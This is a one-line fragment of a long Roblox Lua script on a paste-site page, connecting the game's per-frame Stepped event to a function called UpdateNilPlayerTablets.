  15095. game:service'RunService'.Stepped:connect(UpdateNilPlayerTablets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement